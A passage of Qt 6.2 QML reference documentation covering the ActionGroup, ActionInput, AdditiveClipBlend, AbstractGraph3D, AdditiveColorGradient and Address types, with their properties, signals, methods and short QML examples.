        text: qsTr("Left")
    }

    Action {
        checkable: true
        text: qsTr("Center")
    }

    Action {
        checkable: true
        text: qsTr("Right")
    }
}
```
 Alternatively, the [group](qml-qtquick-controls2-actiongroup#group-attached-prop) attached property allows declaring the actions elsewhere and assigning them to a specific group.

 
```
ActionGroup { id: alignmentGroup }

Action {
    checked: true
    checkable: true
    text: qsTr("Left")
    ActionGroup.group: alignmentGroup
}

Action {
    checkable: true
    text: qsTr("Center")
    ActionGroup.group: alignmentGroup
}

Action {
    checkable: true
    text: qsTr("Right")
    ActionGroup.group: alignmentGroup
}
```
 More advanced use cases can be handled using the `addAction()` and `removeAction()` methods.

 **See also** [Action](qml-qtquick-controls2-action) and [ButtonGroup](qml-qtquick-controls2-buttongroup).

 Property Documentation
----------------------

 ###  [default] actions : [list](qml-list)<[Action](qml-qtquick-controls2-action)>

 This property holds the list of actions in the group.

 **See also** [group](qml-qtquick-controls2-actiongroup#group-attached-prop).

 ###  checkedAction : [Action](qml-qtquick-controls2-action)

 This property holds the currently selected action in an exclusive group, or `null` if there is none or the group is non-exclusive.

 By default, it is the first checked action added to an exclusive action group.

 **See also** [exclusive](qml-qtquick-controls2-actiongroup#exclusive-prop).

 ###  enabled : [bool](qml-bool)

 This property holds whether the action group is enabled. The default value is `true`.

 If this property is `false`, then all actions in the group are disabled. If this property is `true`, all actions in the group are enabled, unless explicitly disabled.

 ###  exclusive : [bool](qml-bool)

 This property holds whether the action group is exclusive. The default value is `true`.

 If this property is `true`, then only one action in the group can be checked at any given time. The user can trigger any action to check it, and that action will replace the existing one as the checked action in the group.

 In an exclusive group, the user cannot uncheck the currently checked action by triggering it; instead, another action in the group must be triggered to set the new checked action for that group.

 In a non-exclusive group, checking and unchecking actions does not affect the other actions in the group. Furthermore, the value of the [checkedAction](qml-qtquick-controls2-actiongroup#checkedAction-prop) property is `null`.

 Attached Property Documentation
-------------------------------

 ###  ActionGroup.group : [ActionGroup](qml-qtquick-controls2-actiongroup)

 This property attaches an action to an action group.

 
```
ActionGroup { id: group }

Action {
    checked: true
    text: qsTr("Option A")
    ActionGroup.group: group
}

Action {
    text: qsTr("Option B")
    ActionGroup.group: group
}
```
 **See also** [actions](qml-qtquick-controls2-actiongroup#actions-prop).

 Signal Documentation
--------------------

 ###  triggered([Action](qml-qtquick-controls2-action) *action*)

 This signal is emitted when an *action* in the group has been triggered.

 This signal is convenient for implementing a common signal handler for all actions in the same group.

 
```
ActionGroup {
    onTriggered: console.log("triggered:", action.text)

    Action { text: "First" }
    Action { text: "Second" }
    Action { text: "Third" }
}
```
 **Note:** The corresponding handler is `onTriggered`.

 **See also** [Action::triggered](qml-qtquick-controls2-action#triggered-signal)().

 Method Documentation
--------------------

 ###  void addAction([Action](qml-qtquick-controls2-action) *action*)

 Adds an *action* to the action group.

  **Note:** Manually adding objects to a action group is typically unnecessary. The [actions](qml-qtquick-controls2-actiongroup#actions-prop) property and the [group](qml-qtquick-controls2-actiongroup#group-attached-prop) attached property provide a convenient and declarative syntax.

  **See also** [actions](qml-qtquick-controls2-actiongroup#actions-prop) and [group](qml-qtquick-controls2-actiongroup#group-attached-prop).

 ###  void removeAction([Action](qml-qtquick-controls2-action) *action*)

 Removes an *action* from the action group.

  **Note:** Manually removing objects from a action group is typically unnecessary. The [actions](qml-qtquick-controls2-actiongroup#actions-prop) property and the [group](qml-qtquick-controls2-actiongroup#group-attached-prop) attached property provide a convenient and declarative syntax.

  **See also** [actions](qml-qtquick-controls2-actiongroup#actions-prop) and [group](qml-qtquick-controls2-actiongroup#group-attached-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-actiongroup.html>

ActionInput QML Type
====================

 QML frontend for the [Qt3DInput::QActionInput](qt3dinput-qactioninput) C++ class. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Input |
|  Since: |  Qt 5.7 |
|  Instantiates: | [QActionInput](qt3dinput-qactioninput) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-input-actioninput-members.html)

 Properties
----------

 * **[buttons](qml-qt3d-input-actioninput#buttons-prop)** : list<int>
* **[sourceDevice](qml-qt3d-input-actioninput#sourceDevice-prop)** : AbstractPhysicalDevice

 Signals
-------

 * **[buttonsChanged](qml-qt3d-input-actioninput#buttonsChanged-signal)**(const QList<int> &*buttons*)
* **[sourceDeviceChanged](qml-qt3d-input-actioninput#sourceDeviceChanged-signal)**()

 Detailed Description
--------------------

 Links a physical device and selected buttons on it which can trigger this action.

 Each Action input can be triggered by one or many buttons on a source device

 
```
ActionInput {
  sourceDevice: keyboardSourceDevice
  buttons: [Qt.Key_A]
}
```
 
```
ActionInput {
  sourceDevice: keyboardSourceDevice
  buttons: [Qt.Key_A,Qt.Key_B]
}
```
 Property Documentation
----------------------

 ###  buttons : [list](qml-list)<[int](qml-int)>

 The Buttons that can trigger this Action.

 ###  sourceDevice : [AbstractPhysicalDevice](qml-qt3d-input-abstractphysicaldevice)

 The current source device of the [ActionInput](qml-qt3d-input-actioninput)

 Signal Documentation
--------------------

 ###  buttonsChanged(const QList<[int](qml-int)> &*buttons*)

 This signal is emitted when the *buttons* associated with the action input is changed.

 The corresponding handler is `onbuttonsChanged`

 **Note:** The corresponding handler is `onButtonsChanged`.

 ###  sourceDeviceChanged()

 This signal is emitted when the source device associated with the action input is changed.

 The corresponding handler is `onSourceDeviceChanged`

 **Note:** The corresponding handler is `onSourceDeviceChanged`.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-input-actioninput.html>

AdditiveClipBlend QML Type
==========================

 Performs an additive blend of two animation clips based on an additive factor. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import Qt3D.Animation |
|  Since: |  Qt 5.9 |
|  Instantiates: | [QAdditiveClipBlend](qt3danimation-qadditiveclipblend) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qt3d-animation-additiveclipblend-members.html)

 Properties
----------

 * **[additiveClip](qml-qt3d-animation-additiveclipblend#additiveClip-prop)** : AbstractClipBlendNode
* **[additiveFactor](qml-qt3d-animation-additiveclipblend#additiveFactor-prop)** : real
* **[baseClip](qml-qt3d-animation-additiveclipblend#baseClip-prop)** : AbstractClipBlendNode

 Detailed Description
--------------------

 QAdditiveClipBlend can be useful to create advanced animation effects based on individual animation clips. For example, if you:

 * set the [baseClip](qml-qt3d-animation-additiveclipblend#baseClip-prop) property to a normal walk cycle animation clip and
* set the [additiveClip](qml-qt3d-animation-additiveclipblend#additiveClip-prop) property to a shaking head difference clip,

 then adjusting the [additiveFactor](qml-qt3d-animation-additiveclipblend#additiveFactor-prop) property will control how much of the [additiveClip](qml-qt3d-animation-additiveclipblend#additiveClip-prop) gets added on to the [baseClip](qml-qt3d-animation-additiveclipblend#baseClip-prop). This has he effect that with an [additiveFactor](qml-qt3d-animation-additiveclipblend#additiveFactor-prop) of zero, this blend node will yield the original walk cycle clip. With an [additiveFactor](qml-qt3d-animation-additiveclipblend#additiveFactor-prop) of 1, it will yield the walk cycle including a shaking head animation.

 The blending operation implemented by this class is:

 
```
resultClip = baseClip + additiveFactor * additiveClip
```
 There is nothing stopping you from using values for the additiveFacor property outside the 0 to 1 range, but please be aware that the input animation clips may not be authored in such a way for this to make sense.

 **See also** [BlendedClipAnimator](qml-qt3d-animation-blendedclipanimator).

 Property Documentation
----------------------

 ###  additiveClip : [AbstractClipBlendNode](qml-qt3d-animation-abstractclipblendnode)

 This property holds the additive clip to be blended with the [baseClip](qml-qt3d-animation-additiveclipblend#baseClip-prop). The amount of blending is controlled by the [additiveFactor](qml-qt3d-animation-additiveclipblend#additiveFactor-prop) property.

 ###  additiveFactor : [real](qml-real)

 Specifies the blending factor, typically between 0 and 1, to control the blending of two animation clips.

 ###  baseClip : [AbstractClipBlendNode](qml-qt3d-animation-abstractclipblendnode)

 This property holds the base animation clip. When the [additiveFactor](qml-qt3d-animation-additiveclipblend#additiveFactor-prop) is zero the *baseClip* will also be the resulting clip of this blend node.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qt3d-animation-additiveclipblend.html>

AbstractGraph3D QML Type
========================

 Base type for 3D visualizations. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtDataVisualization |
|  Since: |  QtDataVisualization 1.0 |
|  Inherited By: | [Bars3D](qml-qtdatavisualization-bars3d), [Scatter3D](qml-qtdatavisualization-scatter3d), and [Surface3D](qml-qtdatavisualization-surface3d) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-abstractgraph3d-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-abstractgraph3d-obsolete.html)

 Properties
----------

 * **[aspectRatio](qml-qtdatavisualization-abstractgraph3d#aspectRatio-prop)** : real
* **[currentFps](qml-qtdatavisualization-abstractgraph3d#currentFps-prop)** : int
* **[customItemList](qml-qtdatavisualization-abstractgraph3d#customItemList-prop)** : list<Custom3DItem>
* **[horizontalAspectRatio](qml-qtdatavisualization-abstractgraph3d#horizontalAspectRatio-prop)** : real
* **[inputHandler](qml-qtdatavisualization-abstractgraph3d#inputHandler-prop)** : AbstractInputHandler3D
* **[locale](qml-qtdatavisualization-abstractgraph3d#locale-prop)** : locale
* **[margin](qml-qtdatavisualization-abstractgraph3d#margin-prop)** : real
* **[measureFps](qml-qtdatavisualization-abstractgraph3d#measureFps-prop)** : bool
* **[msaaSamples](qml-qtdatavisualization-abstractgraph3d#msaaSamples-prop)** : int
* **[optimizationHints](qml-qtdatavisualization-abstractgraph3d#optimizationHints-prop)** : AbstractGraph3D.OptimizationHints
* **[orthoProjection](qml-qtdatavisualization-abstractgraph3d#orthoProjection-prop)** : bool
* **[polar](qml-qtdatavisualization-abstractgraph3d#polar-prop)** : bool
* **[queriedGraphPosition](qml-qtdatavisualization-abstractgraph3d#queriedGraphPosition-prop)** : vector3d
* **[radialLabelOffset](qml-qtdatavisualization-abstractgraph3d#radialLabelOffset-prop)** : real
* **[reflection](qml-qtdatavisualization-abstractgraph3d#reflection-prop)** : bool
* **[reflectivity](qml-qtdatavisualization-abstractgraph3d#reflectivity-prop)** : real
* **[scene](qml-qtdatavisualization-abstractgraph3d#scene-prop)** : Scene3D
* **[selectedElement](qml-qtdatavisualization-abstractgraph3d#selectedElement-prop)** : AbstractGraph3D.ElementType
* **[selectionMode](qml-qtdatavisualization-abstractgraph3d#selectionMode-prop)** : AbstractGraph3D.SelectionMode
* **[shadowQuality](qml-qtdatavisualization-abstractgraph3d#shadowQuality-prop)** : AbstractGraph3D.ShadowQuality
* **[shadowsSupported](qml-qtdatavisualization-abstractgraph3d#shadowsSupported-prop)** : bool
* **[theme](qml-qtdatavisualization-abstractgraph3d#theme-prop)** : Theme3D

 Methods
-------

 * int **[addCustomItem](qml-qtdatavisualization-abstractgraph3d#addCustomItem-method)**(Custom3DItem *item*)
* void **[clearSelection](qml-qtdatavisualization-abstractgraph3d#clearSelection-method)**()
* void **[releaseCustomItem](qml-qtdatavisualization-abstractgraph3d#releaseCustomItem-method)**(Custom3DItem *item*)
* void **[removeCustomItem](qml-qtdatavisualization-abstractgraph3d#removeCustomItem-method)**(Custom3DItem *item*)
* void **[removeCustomItemAt](qml-qtdatavisualization-abstractgraph3d#removeCustomItemAt-method)**(vector3d *position*)
* void **[removeCustomItems](qml-qtdatavisualization-abstractgraph3d#removeCustomItems-method)**()
* Abstract3DAxis **[selectedAxis](qml-qtdatavisualization-abstractgraph3d#selectedAxis-method)**()
* Custom3DItem **[selectedCustomItem](qml-qtdatavisualization-abstractgraph3d#selectedCustomItem-method)**()
* int **[selectedCustomItemIndex](qml-qtdatavisualization-abstractgraph3d#selectedCustomItemIndex-method)**()
* int **[selectedLabelIndex](qml-qtdatavisualization-abstractgraph3d#selectedLabelIndex-method)**()

 Detailed Description
--------------------

 The base type for all 3D visualizations in [QtDataVisualization](https://doc.qt.io/qt-6.2/qtdatavisualization-qmlmodule.html).

 This type is uncreatable, but it contains properties that are shared between the 3D visualizations.

 **See also** [Bars3D](qml-qtdatavisualization-bars3d), [Scatter3D](qml-qtdatavisualization-scatter3d), [Surface3D](qml-qtdatavisualization-surface3d), and [Qt Data Visualization C++ Classes](https://doc.qt.io/qt-6.2/qtdatavisualization-module.html).

 Property Documentation
----------------------

 ###  [since QtDataVisualization 1.1] aspectRatio : [real](qml-real)

 The ratio of the graph scaling between the longest axis on the horizontal plane and the y-axis. Defaults to `2.0`.

  **Note:** Has no effect on [Bars3D](qml-qtdatavisualization-bars3d).

  This property was introduced in QtDataVisualization 1.1.

 **See also** [horizontalAspectRatio](qml-qtdatavisualization-abstractgraph3d#horizontalAspectRatio-prop).

 ###  [since QtDataVisualization 1.1] currentFps : [int](qml-int)

 When FPS measuring is enabled, the results for the last second are stored in this read-only property. It takes at least a second before this value updates after measuring is activated.

 This property was introduced in QtDataVisualization 1.1.

 **See also** [measureFps](qml-qtdatavisualization-abstractgraph3d#measureFps-prop).

 ###  [since QtDataVisualization 1.1] customItemList : [list](qml-list)<[Custom3DItem](qml-qtdatavisualization-custom3ditem)>

 The list of [Custom3DItem](qml-qtdatavisualization-custom3ditem) items added to the graph. The graph takes ownership of the added items.

 This property was introduced in QtDataVisualization 1.1.

 ###  [since QtDataVisualization 1.2] horizontalAspectRatio : [real](qml-real)

 The ratio of the graph scaling between the x-axis and z-axis. The value of `0.0` indicates automatic scaling according to axis ranges. Defaults to `0.0`.

  **Note:** Has no effect on [Bars3D](qml-qtdatavisualization-bars3d), which handles scaling on the horizontal plane via the [barThickness](qml-qtdatavisualization-bars3d#barThickness-prop) and [barSpacing](qml-qtdatavisualization-bars3d#barSpacing-prop) properties. Polar graphs also ignore this property.

  This property was introduced in QtDataVisualization 1.2.

 **See also** [aspectRatio](qml-qtdatavisualization-abstractgraph3d#aspectRatio-prop), [polar](qml-qtdatavisualization-abstractgraph3d#polar-prop), [Bars3D::barThickness](qml-qtdatavisualization-bars3d#barThickness-prop), and [Bars3D::barSpacing](qml-qtdatavisualization-bars3d#barSpacing-prop).

 ###  inputHandler : [AbstractInputHandler3D](qml-qtdatavisualization-abstractinputhandler3d)

 The active input handler used in the graph. You can disable default input handlers by setting this property to null.

 ###  [since QtDataVisualization 1.2] locale : locale

 Sets the locale used for formatting various numeric labels. Defaults to the `"C"` locale.

 This property was introduced in QtDataVisualization 1.2.

 **See also** [ValueAxis3D::labelFormat](qml-qtdatavisualization-valueaxis3d#labelFormat-prop).

 ###  [since QtDataVisualization 1.2] margin : [real](qml-real)

 The absolute value used for the space left between the edge of the plottable graph area and the edge of the graph background.

 If the margin value is negative, the margins are determined automatically and can vary according to the size of the items in the series and the type of the graph. The value is interpreted as a fraction of the y-axis range if the graph aspect ratios have not beed changed from the default values. Defaults to `-1.0`.

  **Note:** Setting a smaller margin for a scatter graph than the automatically determined margin can cause the scatter items at the edges of the graph to overlap with the graph background.

   **Note:** On scatter and surface graphs, if the margin is small in comparison to the axis label size, the positions of the edge labels of the axes are adjusted to avoid overlap with the edge labels of the neighboring axes.

  This property was introduced in QtDataVisualization 1.2.

 ###  [since QtDataVisualization 1.1] measureFps : [bool](qml-bool)

 If `true`, the rendering is done continuously instead of on demand, and the value of the [currentFps](qml-qtdatavisualization-abstractgraph3d#currentFps-prop) property is updated. Defaults to `false`.

 This property was introduced in QtDataVisualization 1.1.

 **See also** [currentFps](qml-qtdatavisualization-abstractgraph3d#currentFps-prop).

 ###  msaaSamples : [int](qml-int)

 The number of samples used in multisample antialiasing when renderingMode is `RenderIndirect`. When renderingMode is `RenderDirectToBackground` or `RenderDirectToBackground_NoClear`, this property value is read-only and returns the number of samples specified by the window surface format. Defaults to `4`.

 **See also** [renderingMode](https://doc.qt.io/qt-6.2/qml-qtdatavisualization-abstractgraph3d-obsolete.html#renderingMode-prop).

 ###  [since QtDataVisualization 1.1] optimizationHints : [AbstractGraph3D](qml-qtdatavisualization-abstractgraph3d).OptimizationHints

 Whether the default or static mode is used for rendering optimization.

 The default mode provides the full feature set at a reasonable level of performance. The static mode optimizes graph rendering and is ideal for large non-changing data sets. It is slower with dynamic data changes and item rotations. Selection is not optimized, so using the static mode with massive data sets is not advisable. Static optimization works only on scatter graphs. Defaults to [OptimizationDefault](qabstract3dgraph#OptimizationHint-enum).

  **Note:** On some environments, large graphs using static optimization may not render, because all of the items are rendered using a single draw call, and different graphics drivers support different maximum vertice counts per call. This is mostly an issue on 32bit and OpenGL ES2 platforms. To work around this issue, choose an item mesh with a low vertex count or use the point mesh.

  This property was introduced in QtDataVisualization 1.1.

 **See also** [Abstract3DSeries::mesh](qml-qtdatavisualization-abstract3dseries#mesh-prop) and [QAbstract3DGraph::OptimizationHint](qabstract3dgraph#OptimizationHint-enum).

 ###  [since QtDataVisualization 1.1] orthoProjection : [bool](qml-bool)

 If `true`, orthographic projection will be used for displaying the graph. Defaults to `false`.

  **Note:** Shadows will be disabled when set to `true`.

  This property was introduced in QtDataVisualization 1.1.

 ###  [since QtDataVisualization 1.2] polar : [bool](qml-bool)

 If `true`, the horizontal axes are changed into polar axes. The x-axis becomes the angular axis and the z-axis becomes the radial axis. Polar mode is not available for bar graphs.

 Defaults to `false`.

 This property was introduced in QtDataVisualization 1.2.

 **See also** [orthoProjection](qml-qtdatavisualization-abstractgraph3d#orthoProjection-prop) and [radialLabelOffset](qml-qtdatavisualization-abstractgraph3d#radialLabelOffset-prop).

 ###  [since QtDataVisualization 1.2] queriedGraphPosition : [vector3d](qml-vector3d)

 This read-only property contains the latest graph position values along each axis queried using [Scene3D::graphPositionQuery](qml-qtdatavisualization-scene3d#graphPositionQuery-prop). The values are normalized to range `[-1, 1]`. If the queried position was outside the graph bounds, the values will not reflect the real position, but will instead be some undefined position outside the range `[-1, 1]`. The value will be undefined until a query is made.

 There is no single correct 3D coordinate to match a particular screen position, so to be consistent, the queries are always done against the inner sides of an invisible box surrounding the graph.

  **Note:** Bar graphs only allow querying graph position at the graph floor level, so the y-value is always zero for bar graphs and valid queries can be only made at screen positions that contain the floor of the graph.

  This property was introduced in QtDataVisualization 1.2.

 **See also** [Scene3D::graphPositionQuery](qml-qtdatavisualization-scene3d#graphPositionQuery-prop).

 ###  [since QtDataVisualization 1.2] radialLabelOffset : [real](qml-real)

 This property specifies the normalized horizontal offset for the axis labels of the radial polar axis. The value `0.0` indicates that the labels should be drawn next to the 0-angle angular axis grid line. The value `1.0` indicates that the labels are drawn in their usual place at the edge of the graph background. This property is ignored if the polar property value is `false`. Defaults to `1.0`.

 This property was introduced in QtDataVisualization 1.2.

 **See also** [polar](qml-qtdatavisualization-abstractgraph3d#polar-prop).

 ###  [since QtDataVisualization 1.2] reflection : [bool](qml-bool)

 Sets floor reflections on or off. Defaults to `false`.

  **Note:** Affects only [Bars3D](qml-qtdatavisualization-bars3d). However, in [Bars3D](qml-qtdatavisualization-bars3d) graphs holding both positive and negative values, reflections are not supported for custom items that intersect the floor plane. In that case, reflections should be turned off to avoid incorrect rendering.

  This property was introduced in QtDataVisualization 1.2.

 **See also** [reflectivity](qml-qtdatavisualization-abstractgraph3d#reflectivity-prop).

 ###  [since QtDataVisualization 1.2] reflectivity : [real](qml-real)

 Sets floor reflectivity. Larger numbers make the floor more reflective. The valid range is `[0...1]`. Defaults to `0.5`.

  **Note:** Affects only [Bars3D](qml-qtdatavisualization-bars3d).

  This property was introduced in QtDataVisualization 1.2.

 **See also** [reflection](qml-qtdatavisualization-abstractgraph3d#reflection-prop).

 ###  scene : [Scene3D](qml-qtdatavisualization-scene3d)

 The [Scene3D](qml-qtdatavisualization-scene3d) pointer that can be used to manipulate the scene and access the scene elements, such as the active camera.

 This property is read-only.

 ###  [since QtDataVisualization 1.1] selectedElement : [AbstractGraph3D](qml-qtdatavisualization-abstractgraph3d).ElementType

 The element selected in the graph.

 This property can be used to query the selected element type. The type is valid until a new selection is made in the graph and the `selectedElementChanged` signal is emitted.

 The signal can be used for example for implementing customized input handling, as demonstrated by the [Qt Quick 2 Axis Dragging Example](https://doc.qt.io/qt-6.2/qtdatavis3d-qmlaxisdrag-example.html).

 This property was introduced in QtDataVisualization 1.1.

 **See also** [selectedLabelIndex](qml-qtdatavisualization-abstractgraph3d#selectedLabelIndex-method)(), [selectedAxis](qml-qtdatavisualization-abstractgraph3d#selectedAxis-method)(), [selectedCustomItemIndex](qml-qtdatavisualization-abstractgraph3d#selectedCustomItemIndex-method)(), [selectedCustomItem](qml-qtdatavisualization-abstractgraph3d#selectedCustomItem-method)(), [Bars3D::selectedSeries](qml-qtdatavisualization-bars3d#selectedSeries-prop), [Scatter3D::selectedSeries](qml-qtdatavisualization-scatter3d#selectedSeries-prop), [Scene3D::selectionQueryPosition](qml-qtdatavisualization-scene3d#selectionQueryPosition-prop), and [QAbstract3DGraph::ElementType](qabstract3dgraph#ElementType-enum).

 ###  selectionMode : [AbstractGraph3D](qml-qtdatavisualization-abstractgraph3d).SelectionMode

 The active selection mode in the visualization. One of the [QAbstract3DGraph::SelectionFlag](qabstract3dgraph#SelectionFlag-enum) enum values.

 **See also** [QAbstract3DGraph::SelectionFlag](qabstract3dgraph#SelectionFlag-enum).

 ###  shadowQuality : [AbstractGraph3D](qml-qtdatavisualization-abstractgraph3d).ShadowQuality

 The quality of shadows. One of the [QAbstract3DGraph::ShadowQuality](qabstract3dgraph#ShadowQuality-enum) enum values.

 **See also** [QAbstract3DGraph::ShadowQuality](qabstract3dgraph#ShadowQuality-enum).

 ###  shadowsSupported : [bool](qml-bool)

 This read-only property indicates whether shadows are supported with the current configuration. OpenGL ES2 configurations do not support shadows.

 ###  theme : [Theme3D](qml-qtdatavisualization-theme3d)

 The active theme of the graph.

 **See also** [Theme3D](qml-qtdatavisualization-theme3d).

 Method Documentation
--------------------

 ###  `[since QtDataVisualization 1.1]` [int](qml-int) addCustomItem([Custom3DItem](qml-qtdatavisualization-custom3ditem) *item*)

 Adds a [Custom3DItem](qml-qtdatavisualization-custom3ditem) *item* to the graph. Graph takes ownership of the added item.

 Returns index to the added item if add was successful, -1 if trying to add a null item, and index of the item if trying to add an already added item.

 This method was introduced in QtDataVisualization 1.1.

 **See also** [removeCustomItems](qml-qtdatavisualization-abstractgraph3d#removeCustomItems-method)(), [removeCustomItem](qml-qtdatavisualization-abstractgraph3d#removeCustomItem-method)(), and [removeCustomItemAt](qml-qtdatavisualization-abstractgraph3d#removeCustomItemAt-method)().

 ###  void clearSelection()

 Clears selection from all attached series.

 ###  `[since QtDataVisualization 1.1]` void releaseCustomItem([Custom3DItem](qml-qtdatavisualization-custom3ditem) *item*)

 Gets ownership of *item* back and removes the *item* from the graph.

  **Note:** If the same item is added back to the graph, the texture file needs to be re-set.

  This method was introduced in QtDataVisualization 1.1.

 **See also** [Custom3DItem::textureFile](qml-qtdatavisualization-custom3ditem#textureFile-prop).

 ###  `[since QtDataVisualization 1.1]` void removeCustomItem([Custom3DItem](qml-qtdatavisualization-custom3ditem) *item*)

 Removes the custom *item*. Deletes the resources allocated to it.

 This method was introduced in QtDataVisualization 1.1.

 ###  `[since QtDataVisualization 1.1]` void removeCustomItemAt([vector3d](qml-vector3d) *position*)

 Removes all custom items at *position*. Deletes the resources allocated to them.

 This method was introduced in QtDataVisualization 1.1.

 ###  `[since QtDataVisualization 1.1]` void removeCustomItems()

 Removes all custom items. Deletes the resources allocated to them.

 This method was introduced in QtDataVisualization 1.1.

 ###  `[since QtDataVisualization 1.1]` Abstract3DAxis selectedAxis()

 Can be used to get the selected axis after receiving `selectedElementChanged` signal with any label type. Selection is valid until the next `selectedElementChanged` signal.

 Returns the selected axis, or null.

 This method was introduced in QtDataVisualization 1.1.

 **See also** [selectedElement](qml-qtdatavisualization-abstractgraph3d#selectedElement-prop).

 ###  `[since QtDataVisualization 1.1]` [Custom3DItem](qml-qtdatavisualization-custom3ditem) selectedCustomItem()

 Can be used to get the selected custom item after receiving `selectedElementChanged` signal with [ElementCustomItem](qabstract3dgraph#ElementType-enum) type. Ownership of the item remains with the graph. Selection is valid until the next `selectedElementChanged` signal.

 Returns the selected custom item, or null.

 This method was introduced in QtDataVisualization 1.1.

 **See also** [selectedElement](qml-qtdatavisualization-abstractgraph3d#selectedElement-prop).

 ###  `[since QtDataVisualization 1.1]` [int](qml-int) selectedCustomItemIndex()

 Can be used to query the index of the selected custom item after receiving `selectedElementChanged` signal with [ElementCustomItem](qabstract3dgraph#ElementType-enum) type. Selection is valid until the next `selectedElementChanged` signal.

 Returns index of the selected custom item, or -1.

 This method was introduced in QtDataVisualization 1.1.

 **See also** [selectedElement](qml-qtdatavisualization-abstractgraph3d#selectedElement-prop).

 ###  `[since QtDataVisualization 1.1]` [int](qml-int) selectedLabelIndex()

 Can be used to query the index of the selected label after receiving `selectedElementChanged` signal with any label type. Selection is valid until the next `selectedElementChanged` signal.

 Returns index of the selected label, or -1.

 This method was introduced in QtDataVisualization 1.1.

 **See also** [selectedElement](qml-qtdatavisualization-abstractgraph3d#selectedElement-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtdatavisualization-abstractgraph3d.html>

AdditiveColorGradient QML Type
==============================

 A gradient with additive color effect. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick3D.Effects |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-additivecolorgradient-members.html)

 Properties
----------

 * **[bottomColor](qml-qtquick3d-effects-additivecolorgradient#bottomColor-prop)** : vector3d
* **[topColor](qml-qtquick3d-effects-additivecolorgradient#topColor-prop)** : vector3d

 Detailed Description
--------------------

 ![]


This effect adds a vertical gradient to the whole scene, then additively blends it with all other elements on the layer. Additive blending adds the pixel values of the gradient and the layer, making the result lighter. White areas do not change, and black areas are the same color as the gradient.

 Property Documentation
----------------------

 ###  bottomColor : [vector3d](qml-vector3d)

 The color to be used at the bottom of the screen for the gradient. The default is `Qt.vector3d(0.0, 0.0, 0.0)` (i.e. black).

 ###  topColor : [vector3d](qml-vector3d)

 The color to be used at the top of the screen for the gradient. The default value is `Qt.vector3d(1.0, 1.0, 1.0)` (i.e. white).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick3d-effects-additivecolorgradient.html>

Address QML Type
================

 The Address QML type represents a specific location as a street address. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtPositioning |
|  Since: |  Qt 5.2 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtpositioning-address-members.html)

 Properties
----------

 * **[address](qml-qtpositioning-address#address-prop)** : QGeoAddress
* **[city](qml-qtpositioning-address#city-prop)** : string
* **[country](qml-qtpositioning-address#country-prop)** : string
* **[countryCode](qml-qtpositioning-address#countryCode-prop)** : string
* **[county](qml-qtpositioning-address#county-prop)** : string
* **[district](qml-qtpositioning-address#district-prop)** : string
* **[isTextGenerated](qml-qtpositioning-address#isTextGenerated-prop)** : bool
* **[postalCode](qml-qtpositioning-address#postalCode-prop)** : string
* **[state](qml-qtpositioning-address#state-prop)** : string
* **[street](qml-qtpositioning-address#street-prop)** : string
* **[streetNumber](qml-qtpositioning-address#streetNumber-prop)** : string
* **[text](qml-qtpositioning-address#text-prop)** : string

 Detailed Description
--------------------

 An Address is used as a unit of data for queries such as (Reverse) Geocoding or Places searches -- many of these operations either accept an Address or return one.

 Not all properties of an Address are necessarily available or relevant in all parts of the world and all locales. The [district](qml-qtpositioning-address#district-prop), [state](qml-qtpositioning-address#state-prop) and [county](qml-qtpositioning-address#county-prop) properties are particularly area-specific for many data sources, and often only one or two of these are available or useful.

 The Address has a [text](qml-qtpositioning-address#text-prop) property which holds a formatted string. It is the recommended way to display an address to the user and typically takes the format of an address as found on an envelope, but this is not always the case. The [text](qml-qtpositioning-address#text-prop) may be automatically generated from constituent address properties such as [street](qml-qtpositioning-address#street-prop), [city](qml-qtpositioning-address#city-prop) and and so on, but can also be explicitly assigned. See [text](qml-qtpositioning-address#text-prop) for details.

 ### Example Usage

 The following code snippet shows the declaration of an Address object.

 
```
Address {
    id: address
    street: "53 Brandl St"
    city: "Eight Mile Plains"
    country: "Australia"
    countryCode: "AUS"
}
```
 This could then be used, for example, as the value of a geocoding query, to get an exact longitude and latitude for the address.

 **See also** [QGeoAddress](qgeoaddress).

 Property Documentation
----------------------

 ###  address : QGeoAddress

 For details on how to use this property to interface between C++ and QML see "[Interfaces between C++ and QML Code](positioning-cpp-qml#address-qgeoaddress)".

 ###  city : [string](qml-string)

 This property holds the city of the address as a single formatted string.

 ###  country : [string](qml-string)

 This property holds the country of the address as a single formatted string.

 ###  countryCode : [string](qml-string)

 This property holds the country code of the address as a single formatted string.

 ###  county : [string](qml-string)

 This property holds the county of the address as a single formatted string.

 ###  district : [string](qml-string)

 This property holds the district of the address as a single formatted string.

 ###  isTextGenerated : [bool](qml-bool)

 This property holds a boolean that if true, indicates that [text](qml-qtpositioning-address#text-prop) is automatically generated from address properties. If false, it indicates that the [text](qml-qtpositioning-address#text-prop) has been explicitly assigned.

 ###  postalCode : [string](qml-string)

 This property holds the postal code of the address as a single formatted string.

 ###  state : [string](qml-string)

 This property holds the state of the address as a single formatted string.

 ###  street : [string](qml-string)

 This property holds the street of the address.

  **Note:** Before Qt6 this property could also contain things like a unit number, a building name, or anything else that might be used to distinguish one address from another. Since Qt6 use [streetNumber](qml-qtpositioning-address#streetNumber-prop) property for such information.

